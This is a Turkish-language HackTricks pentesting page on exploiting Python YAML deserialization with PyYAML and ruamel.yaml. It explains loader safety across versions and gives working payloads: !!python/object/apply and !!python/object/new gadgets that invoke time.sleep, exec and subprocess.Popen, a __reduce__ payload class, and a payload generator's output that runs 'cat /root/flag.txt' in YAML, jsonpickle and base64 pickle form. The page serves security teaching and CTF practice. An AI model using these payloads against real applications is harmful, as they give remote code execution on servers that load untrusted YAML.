hacktricks/src/pentesting-web/deserialization/python-yaml-deserialization.md

144 lines
5.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Python Yaml Deserialization
{{#include ../../banners/hacktricks-training.md}}
## Yaml **Deserialization**
**Yaml** python kütüphaneleri, yalnızca ham verileri değil, aynı zamanda **python nesnelerini serileştirme** yeteneğine de sahiptir:
```
print(yaml.dump(str("lol")))
lol
...
print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l
print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
```
**tuple**'ın ham bir veri türü olmadığını ve bu nedenle **serileştirildiğini** kontrol edin. Aynı şey **range** için de geçerlidir (builtins'ten alınmıştır).
![](<../../images/image (1040).png>)
**safe_load()** veya **safe_load_all()** SafeLoader kullanır ve **sınıf nesnesi serileştirmesini desteklemez**. Sınıf nesnesi serileştirme örneği:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'
print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
Önceki kod, serileştirilmiş python sınıfını yüklemek için **unsafe_load** kullandı. Bunun nedeni, **version >= 5.1**'de, load() içinde Loader belirtilmediğinde veya Loader=SafeLoader olduğunda, **herhangi bir serileştirilmiş python sınıfını veya sınıf niteliğini deseralize etmeye** izin vermemesidir.
### Temel Sömürü
**sleep** nasıl **çalıştırılır** üzerine bir örnek:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
### Güvenlik Açığı .load("\<content>") Loader Olmadan
**Eski sürümler** pyyaml, bir şeyi yüklerken **Loader'ı belirtmediyseniz** deserialization saldırılarına karşı savunmasızdı: `yaml.load(data)`
Bu güvenlik açığının [**tanımını burada bulabilirsiniz**](https://hackmd.io/@defund/HJZajCVlP)**.** O sayfadaki önerilen **sömürü** şudur:
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Ya da bu **@ishaack tarafından sağlanan tek satırlık kodu** da kullanabilirsiniz:
```yaml
!!python/object/new:str {
state:
!!python/tuple [
'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec } },
],
}
```
Not edin ki **son sürümlerde** **`.load()`** **artık bir `Loader` olmadan çağrılamaz** ve **`FullLoader`** bu saldırıya **artık savunmasız değildir**.
## RCE
Özel yükler, **PyYAML** veya **ruamel.yaml** gibi Python YAML modülleri kullanılarak oluşturulabilir. Bu yükler, güvenilir olmayan girişi uygun bir şekilde temizlemeden deseralize eden sistemlerdeki zayıflıkları istismar edebilir.
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))
deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)
#!!python/object/apply:subprocess.Popen
#- ls
print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```
### Payload Oluşturma Aracı
Aracı [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) **Pickle, PyYAML, jsonpickle ve ruamel.yaml**'i istismar etmek için python deserialization payload'ları oluşturmak amacıyla kullanabilirsiniz:
```bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!
cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
```
### Referanslar
- [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
- [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
{{#include ../../banners/hacktricks-training.md}}